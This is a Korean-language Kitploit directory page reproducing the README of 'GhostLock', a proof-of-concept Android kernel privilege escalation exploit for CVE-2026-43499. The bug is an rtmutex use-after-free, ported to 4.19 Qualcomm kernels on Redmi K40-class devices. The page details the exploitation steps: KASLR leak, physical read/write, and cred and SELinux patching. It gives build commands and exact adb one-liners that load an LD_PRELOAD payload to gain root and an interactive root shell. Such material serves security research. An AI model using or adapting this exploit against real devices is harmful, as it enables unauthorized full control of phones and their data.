Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ghostlock-cve-2026-43499-4.19-k40 — Android 커널 LPE PoC로, 4.19 Qualcomm 커널의 rtmutex use-after-free인 CVE-2026-43499를 Redmi K40에 맞게 조정하고 LD_PRELOAD 루트 페이로드를 사용합니다. | Kitploit
도구/GitHubGitHub/ccp-p/ghostlock-cve-2026-43499-4.19-k40
Android SecurityPrivilege EscalationMemory ForensicsVulnerability AnalysisExploitationPost-ExploitationMobile SecurityPayload DevelopmentBinary Exploitation

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubccp-p/ghostlock-cve-2026-43499-4.19-k40

ghostlock-cve-2026-43499-4.19-k40

Android 커널 LPE PoC로, 4.19 Qualcomm 커널의 rtmutex use-after-free인 CVE-2026-43499를 Redmi K40에 맞게 조정하고 LD_PRELOAD 루트 페이로드를 사용합니다.

저장소 보기
113시간 19분 전아직 검토되지 않음

GhostLock — CVE-2026-43499 PoC (Qualcomm 4.19 커널)

CVE-2026-43499를 악용한 로컬 권한 상승 — rtmutex remove_waiter() 버그로 인해 struct rt_mutex_waiter가 대기자의 커널 스택에 댕글링 포인터로 남게 된다 (kernel/locking/rtmutex.c, CWE-416 use-after-free). NebuSec/CyberMeowfia (IonStack/CVE-2026-43499, Apache-2.0)에서 Qualcomm Android 4.19.x 벤더 커널 제품군에 맞게 이식했다.

  • 커널: 4.19.157-perf-g9607d8651312 (qcom, clang 10.0.7, SMP PREEMPT, aarch64)
  • 기기 등급: Snapdragon 870 (sm8250-ac) / Redmi K40급 보드, 부트 헤더 v3 기반 Android 13 시기 빌드
  • 버그: futex_requeue() 프록시 락 롤백이 remove_waiter()를 호출하는데, 이 함수가 waiter->task 대신 current를 대상으로 동작한다 — pi_lock 없이 rb-tree에서 제거되어 pi_blocked_on이 댕글링되고, 결과적으로 커널 스택 UAF가 발생한다. 5.10/5.15/6.1/6.6/6.12/6.18/7.0의 수정 버전까지 영향을 받으며, 4.19는 백포트가 없다 (EOL). 따라서 4.19.157-perf가 영향을 받는다.

저장소 구성

root@kitploit:~
src/                         이식된 익스플로잇 소스 (preload.so)
src/targets/oplus-4.19.157-perf/target.h   기기별 오프셋 테이블 (kallsyms 기반)
prebuilt/                    컴파일된 산출물 (aarch64)
adaptation-4.19.patch        업스트림 Pixel (6.x) 코드 대비 전체 diff
Makefile, build.sh           빌드 진입점

4.19 커널을 위한 2차 이식 (6.x 업스트림 대비)

  • configfs_read_file / configfs_write_bin_file이 .read/.write fops 슬롯에 배치되며 (4.19 시그니처), 읽기 프리미티브는 단순화된 count/page/ppos=0 가짜 버퍼 레이아웃을 사용한다
  • 이 커널에는 ashmem 이름 접두사 (/dev/ashmem)가 없다 — 접두사 길이 0
  • kmalloc 구조: 4.19는 3가지 캐시 유형(NORMAL/RECLAIM/DMA, memcg별 캐시 없음)을 가지며, 레거시 pipe 16슬롯 버퍼 배열은 kmalloc-1024에 위치한다
  • 4.19에는 selinux_blob_sizes가 없다 → 직접 cred->security 사용 (SELINUX_CRED_BLOB_OFF=0); struct seccomp에는 filter_count가 없다
  • ASHMEM_MISC_FOPS = miscdevice.fops 슬롯 (ashmem_misc + 0x10)

빌드

Android NDK가 있는 Linux / WSL:

root@kitploit:~
export NDK_ROOT=/path/to/android-ndk-r27c
./build.sh                      # 또는: make PROJECT=oplus-4.19.157-perf

산출물: prebuilt/preload.so (LD_PRELOAD 페이로드) 및 내장된 su_daemon PIE.

ADB 사용법 (원샷 루팅)

ADB 셸이 필요하다 (일반적인 비권한 adb shell이면 충분하다 — 익스플로잇은 완전히 비권한으로 실행되며 스스로 권한을 상승시킨다).

root@kitploit:~
# 1. push the payload
adb push prebuilt/preload.so /data/local/tmp/

# 2. run the exploit against any command (here: id) via LD_PRELOAD
adb shell LD_PRELOAD=/data/local/tmp/preload.so id

# expected on success: uid=0(root) gid=0(root) groups=...
# on failure the process exits 1 and the log below tells you where it stopped.

선택적 원라이너 변형:

root@kitploit:~
# capture the exit status too
adb shell "LD_PRELOAD=/data/local/tmp/preload.so id; echo rc=\$?"

# interactive root shell (the exploit also installs an su daemon)
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/sh -c 'su -c id'"

디버그 로그 (패닉/재부팅 후에도 유지됨)

모든 pr_* 라인은 즉시 write()+fsync()로 디스크에 미러링되므로 커널 패닉/재부팅 후에도 흔적이 남는다:

root@kitploit:~
/sdcard/Download/log_<timestamp>.txt

/sdcard를 사용할 수 없는 경우 대체 경로: /sdcard/Downloads, /data/local/tmp/log_<timestamp>.txt.

root@kitploit:~
# after the run (even after a reboot):
adb shell "ls -t /sdcard/Download/log_*.txt | head -1"
adb shell "cat $(adb shell 'ls -t /sdcard/Download/log_*.txt | head -1' | tr -d '\r')"

주요 로그 마커:

  • preload starting pid=... log=/sdcard/Download/log_<ts>.txt — 페이로드 로드됨
  • slide-kaslr-ok ... base=... — KASLR 베이스 복구됨
  • pipe-physrw-summary ... root=1 ... — 물리 RW 설치됨
  • uid_before=... uid_after=0 ... selinux=1->0 — creds 패치됨
  • 4.19에서는 slide 가젯이 첫 시도 전에 UNVERIFIED를 출력한다 — 이 단계가 이 로그를 사용해 기기별로 튜닝해야 하는 단계다.

참고 사항 및 제한

  • 첫 단계 (KASLR slide leak)는 기기별로 튜닝된다. 4.19에 대해 정적으로 도출할 수 없었던 값들은 target.h에 표시되어 있으며 런타임에 UNVERIFIED로 로깅된다. fsync 로그를 사용해 기기에서 반복 조정하라.
  • 이 빌드의 CONFIG_STATIC_USERMODEHELPER=y는 modprobe 경로 트릭을 비활성화한다. 주 경로는 직접 cred 패치다.
  • 배포 전에 커널 자체의 kallsyms (/proc/kallsyms)와 /proc/slabinfo를 통해 정확한 빌드에서 오프셋 정확성을 검증하라.

라이선스

Apache-2.0 (업스트림: NebuSec/CyberMeowfia). 보안 연구 및 승인된 기기 루팅 전용. 소유한 하드웨어에서만 사용하라.

도구 다운로드
  • 구조체 오프셋 (task_struct / cred / pipe_inode_info / file_operations / mm_struct / struct page / configfs_buffer)은 이 커널의 kallsyms + 내장 ikheader에서 재도출되었고, 커널 자체의 RELA 재배치 테이블과 대조 검증되었다